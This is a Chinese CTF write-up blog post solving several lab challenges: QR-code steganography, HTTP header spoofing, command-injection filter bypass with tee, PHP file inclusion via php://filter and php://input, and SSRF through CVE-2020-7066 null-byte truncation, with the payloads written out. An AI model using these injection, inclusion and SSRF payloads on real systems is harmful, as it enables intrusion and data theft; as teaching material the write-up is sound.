[SWPU 2019]神奇的二维码、buuctf部分web题

目录

[SWPU 2019]神奇的二维码

[LitCTF 2023]Http pro max plus

[SWPUCTF 2021 新生赛]finalrce

​[鹏城杯 2022]简单包含

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

[GKCTF 2020]cve版签到

cve-2020-7066:


[SWPU 2019]神奇的二维码

解码看看,是一个错误的flag

用010editor查看,发现存在.rar文件(rar压缩文件十六进制开头52 61 72 21)

将文件放入kali,使用binwalk分离文件

Binwalk

binwalk 文件名   //分析文件

binwalk -e 文件名 --run-as=root   //分离文件

分离得4个压缩包

这两个需要解压密码

查看encode.txt文件,base64解码得asdfghjkl1234567890

这是flag.jpg的解压密码,解压后是一张单纯的图片

 查看flag.doc文件,试了一下,应该是进行了很多次base64编码得到的

一次一次解很麻烦,找大佬脚本直接跑

base64隐写,多次base64加密解密,文件写入,字符统计-CSDN博客

BUUCTF:[SWPU2019]神奇的二维码_buuctf [swpu2019]神奇的二维码-CSDN博客

//  e:/云靶场/base64.txt 要解码的文件路径

import base64

def decode(f):
	n = 0;
	while True:
		try:
			f = base64.b64decode(f)
			n += 1
		except:
			print('[+]Base64共decode了{0}次,最终解码结果如下:'.format(n))
			print(str(f,'utf-8'))
			break

if __name__ == '__main__':
	f = open('e:/云靶场/base64.txt','r').read()
	decode(f)

解码了20次得到 comEON_YOuAreSOSoS0great

这是good.mp3的解压密码,解压得到一段 滴滴滴 的音频,听起来像摩斯密码

不是很长,手动记录一下(听不清楚可以调慢倍速):

-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.--

解码得flag内容

[LitCTF 2023]Http pro max plus

打开环境说只允许本地访问,试试xff。bp抓包,添加一个本地管理员身份

看来该方法用不了

查看大佬wp,学习可以控制IP地址信息的新方法——Client-IP

[LitCTF 2023]Http pro max plus-CSDN博客

Client-IP:是另一个用于传递客户端IP地址的HTTP请求头字段,不如X-Forwarded-For常用。

这个字段只包含一个IP地址,即请求的客户端IP地址。

bp抓包传入  Client-IP:127.0.0.1

成功绕过本地访问条件,回显提示说  不是来自pornhub.com,可以利用Referer字段解决

Referer(引用页):表示用户从哪个页面发起的请求。包含了发起请求的页面的URL。

服务器可以根据这个字段来识别用户是从哪个页面跳转过来的,以便进行统计分析、日志记录、缓存优化等。

出于隐私和安全的考虑,有时浏览器可能不会发送Referer字段。

referrer单词拼写错误, 为了保持向下兼容,所以将错就错。

绕过后有提示说要利用Chrome浏览器 ,利用UA伪造浏览器

绕过后又提示要添加代理服务器Clash.win,使用Via字段

Via字段:是一个可选的HTTP请求头字段,其中包含了代理服务器的相关信息。

当请求经过一个或多个代理服务器时,每个代理服务器都会向"Via"字段添加自己的标识。这样做的目的是提供有关请求路径的信息,以便于调试、故障排查和确定请求的来源。

在伪造的时候只需要直接添加代理服务器的名称就行

绕过后得到了一个路径/wtfwtfwtfwtf.php

 访问得到3个超链接,啥也没有,查看源代码又得到一个路径 /sejishikong.php

访问得到flag

[SWPUCTF 2021 新生赛]finalrce

GET传参url,正则过滤了 ls cat la 等,可用 \ 转义符 ' ' 绕过。

\ 转义符:在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但作用不变。

'' 内联执行:在linux系统中,反引号作为内联执行,输出查询结果的内容。

exec()函数:执行一个新的程序

不输出结果,但返回执行结果的最后一行

无回显:搭配echo或其他的输出函数 如print_r()函数使得其回显

此处使用输出函数依然无回显,可使用 tee 命令将其写入.txt文件。

 linux中 “tee” 是从标准输入读取,再写入标准输出和文件

?url=l\s /|tee 1.txt
?url=l's' /|tee 1.txt
//将根目录写入1.txt文件

访问1.txt文件,发现flag存在

?url=tac /flllll\aaaaaaggggggg|tee 2.txt
?url=tac /flllll'aaaaaaggggggg'|tee 2.txt
//将读取的flag内容写入2.txt文件

访问2.txt文件,得到flag

[鹏城杯 2022]简单包含

打开环境发现flag.php路径,POST传参flag

尝试使用file://协议访问本地文件系统,发现有waf

file:// [文件的绝对路径和文件名]

flag=file:///flag.php
flag=file://var/www/html/flag.php

尝试访问index.php,无法读取。

于是使用php://filter伪协议 读取源代码并进行base64编码输出。

flag=php://filter/read=convert.base64-encode/resource=flag.php

//访问index.php

flag=php://filter/read=convert.base64-encode/resource=index.php

回显一串base64,解码后得到了真实的代码

<?php
$path = $_POST["flag"]; // 从 POST 请求的 "flag" 参数中获取路径

// 如果从 php://input 读取的内容长度小于 800 字节,并且 $path 包含 "flag" 字符串,则输出 "nssctf waf!",否则尝试包含 $path 指定的文件(即读取flag)
//php://input   将post请求中的数据作为PHP代码执行
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

第一层: php://input    post传入字符串的数量大于800

第二层: php://input 传入的字符串中不包含flag

python生成801个字符串a

构建payload传入,解码得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

<?php
error_reporting(0);                // 设置错误报告级别为0,即关闭错误报告

if (isset($_GET['file'])) {        // 如果存在$_GET['file']这个变量
    if (substr($_GET["file"], 0, 3) === "php") {      // 如果$_GET["file"]的前三个字符是"php"
        echo "Nice!!!";            // 打印"Nice!!!"
        include($_GET["file"]);    // 包含指定的文件
    } 
    else {       
        echo "Hacker!!";           // 打印"Hacker!!"
    }
}                                  // 如果$_GET['file']不存在
else {    
    highlight_file(__FILE__);      // 高亮显示当前文件的内容
}
//flag.php

提示file参数的前三个字符是php,想到使用php://filter读取源代码并进行base64编码输出。

?file=php://filter/convert.base64-encode/resource=flag.php

解码,提示flag在/flag路径下

<?php
error_reporting(0);                                //隐藏报错
header("Content-Type:text/html;charset=utf-8");    //设置了HTTP响应头,指示浏览器内容类型为HTML,字符编码为UTF-8。


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_ '/flag' "."<br/>";
echo "换个思路,试试PHP伪协议呢";

改payload为: ?file=php://filter/convert.base64-encode/resource=/flag

base64解码得flag。

[GKCTF 2020]cve版签到

打开环境 提示   你只需查看*.ctfhub.com(即url要以ctfhub.com结尾)

故ssrf的URL伪协议都用不了

点击View CTFHub 会返回一些信息

F12发现hint flag在本地,且为url传参,判断为ssrf

尝试访问本地环境127.0.0.1 ,还是回显刚开始的界面 结尾又是固定的... ...

题目提到cve,不知道是什么  查看大佬wp后了解cve-2020-7066。

什么是CVE? CVE漏洞应该如何防护?_cvd cve-CSDN博客

CVE(Common Vulnerabilities and Exposures)的全称是公共漏洞和暴露,是公开披露的网络安全漏洞列表。在CVE中,每个漏洞按CVE-1999-0067、CVE-2014-10001、CVE-2014-100001这样的形式编号。

cve-2020-7066:

根据阿里云漏洞库:CVE-2020-7066 是 php 函数 get_headers 中的信息泄漏漏洞。

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,同时将get_headers()与用户提供的URL一起使用时,如果URL包含零(\0) 字符,则URL将被静默地截断。

这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。(即 %00 截断

于是使用%00截断只访问到127.0.0.1环境,构造payload:

?url=http://127.0.0.1%00www.ctfhub.com

payload改为: 得到flag

?url=http://127.0.0.123%00www.ctfhub.com 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/663638.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

让AI学相机对焦: Learning to AutoFocus

前言 分析来自谷歌发表在 CVPR 2020 上的论文 Learning to Autofocus &#xff1a;https://arxiv.org/pdf/2004.12260 目前网上对这篇论文的分析较少&#xff0c;有的分析并没有指出关键点&#xff0c;如&#xff1a;论文解读&#xff1a; Learning to AutoFocus-CSDN博客&am…

Iphone自动化指令每隔固定天数打开闹钟关闭闹钟(一)

注意&#xff1a;因为是第一次用iphone的快捷指令&#xff0c;不是很明白&#xff0c;所以之后多次运行发现有bug&#xff0c;所以快捷指令部分在下一章重新写&#xff0c;我用两个日期测试了&#xff0c;没问题&#xff0c;这一章可以当做熟悉快捷指令的一些操作用&#xff0c…

算法学习笔记(7.3)-贪心算法(最大切分乘问题)

目录 ##问题描述 ##问题思考 ##贪心策略确定 ##代码实现 ##时间复杂度 ##正确性验证 ##问题描述 给定一个正整数 &#x1d45b; &#xff0c;将其切分为至少两个正整数的和&#xff0c;求切分后所有整数的乘积最大是多少 ##问题思考 假设我们将 &#x1d45b; 切分为 &…

Memory测试工具-stressapptest详解

✨前言&#xff1a; stressapptest 是一个用于在各种系统组件上施加压力的工具&#xff0c;特别专注于内存和CPU。通过运行各种模式的访问测试&#xff0c;stressapptest 旨在模拟高负载下的系统行为&#xff0c;并帮助发现潜在的错误&#xff0c;比如硬件故障、过热或系统组件…

第二证券股市资讯:重磅信号!五大利好来袭!

商场中&#xff0c;向好的变化正在发生。 5月29日&#xff0c;商场迎来多则重磅利好&#xff1a; 一、IMF上调本年我国经济增加预期至5%&#xff1b; 二、国务院印发《2024&#xff0d;2025年节能降碳举动计划》&#xff0c;光伏、新动力轿车等多个职业迎来方针利好&#xf…

Linux中部署MinIO

Linux中部署MinIO 下载MinIO可执行程序&#xff1a; wget https://dl.min.io/server/minio/release/linux-amd64/minio 添加执行权限&#xff1a; chmod x minio 创建存储目录&#xff0c;例如/data&#xff1a; mkdir -p /data 运行MinIO服务器&#xff0c;需要设置MIN…

Java设计模式 _行为型模式_访问者模式

一、访问者模式 1、访问者模式 访问者模式&#xff08;Visitor Pattern&#xff09;是一种行为型模式。它允许在不修改已有类结构的情况下&#xff0c;向类中添加新的操作。访问者模式通过将操作封装在一个访问者对象中&#xff0c;使得可以在不改变各个元素类的前提下&#x…

【信息学奥赛】在一个包含N个整数的数组中找到第一个质数

【信息学奥赛】在一个包含N个整数的数组中找到第一个质数 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 编写一个函数&#xff0c;用于在一个包含N个整数的数组中找到第一个质数&#xff0c;若有则返回函数的地址&#xff1b;否则返回NUL…

fps游戏如何快速定位矩阵

fps游戏如何快速定位矩阵 矩阵特点: 1、第一行第一列值的范围在**-1 ---- 1**之间&#xff0c;如果开镜之后值会变大。 2、第一行第三列的值始终为 0。 3、第一行第四列 的值比较大 &#xff0c; >300或者**<-300**。 根据这三个特点&#xff0c;定位矩阵已经足够了…

Javaweb第九次作业

采用XML映射文件的形式来映射sql语句&#xff1b;采用动态sql语句的方式&#xff0c;实现条件查询的分页。 controller Slf4j RestController RequestMapping("supermarket111") public class SupermarketFenyeController {AutowiredSupermarketFenyeService super…

flutter开发实战-下拉刷新继续下拉路由进入活动页面实现

flutter开发实战-下拉刷新继续下拉路由进入活动页面实现 很多应用都有首页通过下拉刷新&#xff0c;继续下拉进入新的活动会场进入方式。在Flutter中&#xff0c;也可以通过pull_to_refresh来实现控制刷新页&#xff0c;继续下拉进入新的活动会场页面 一、引入pull_to_refres…

svg实现一个圆形以及方形的环形进度条

1. svg实现圆形进度条 效果图&#xff1a; 1. 写个假接口&#xff1a; let res {curLegendList: [{ progress: "87", name: "进度1",color:"#00fe41" },{ progress: "66", name: "进度2" ,color:"orange"},{ p…

HarmonyOS鸿蒙学习笔记(25)相对布局 RelativeContainer详细说明

RelativeContainer 简介 前言核心概念官方实例官方实例改造蓝色方块改造center 属性说明参考资料 前言 RelativeContainer是鸿蒙的相对布局组件&#xff0c;它的布局很灵活&#xff0c;可以很方便的控制各个子UI 组件的相对位置&#xff0c;其布局理念有点类似于android的约束…

OpenPCDet

一.简介 源码链接&#xff1a; https://github.com/open-mmlab/OpenPCDethttps://github.com/open-mmlab/OpenPCDet OpenPCDet 是一套基于PyTorch实现的点云3D目标检测代码库。&#xff08;也是个框架&#xff09; 设计思想&#xff1a;点云数据集&#xff08;KITTI、NuSce…

pytorch学习笔记2

首先如果遇到conda找不到包&#xff0c;pip老是超时的情况建议添加一下镜像源 conda的 conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ cond…

【C++ | 类】类和对象

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; ⏰发布时间⏰&#xff1a; 本文未经允许…

收银系统源码-千呼新零售2.0【智慧供应链】

千呼新零售2.0系统是零售行业连锁店一体化收银系统&#xff0c;包括线下收银线上商城连锁店管理ERP管理商品管理供应商管理会员营销等功能为一体&#xff0c;线上线下数据全部打通。 适用于商超、便利店、水果、生鲜、母婴、服装、零食、百货等连锁店使用。 详细介绍请查看下…

为什么String要被设置为不可变的

为什么设置为不可变的 Java 中将 String 设计为不可变的原因有多个&#xff0c;主要涉及到安全、效率、同步和设计哲学 缓存 在我们的JVM中&#xff0c;单独开辟了一个空间来存储Java字符串&#xff0c;就是字符串池 String s1"1234"; String s2"766"; …

iPhone快捷指令之九宫格照片(三)

说明&#xff1a;这个是经过前两章的摸索&#xff0c;在我搞明白怎么接共享表单里的数据和会使用变量后&#xff0c;制作出来的终极九宫格照片指令&#xff0c;同一个指令在主屏幕里点击可以选择图片做九宫格图片&#xff1b;在相册里选择图片&#xff0c;点击分享按钮&#xf…

Kotlin 2.0 重磅发布! 性能提升!新功能上线!开发者必看!

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …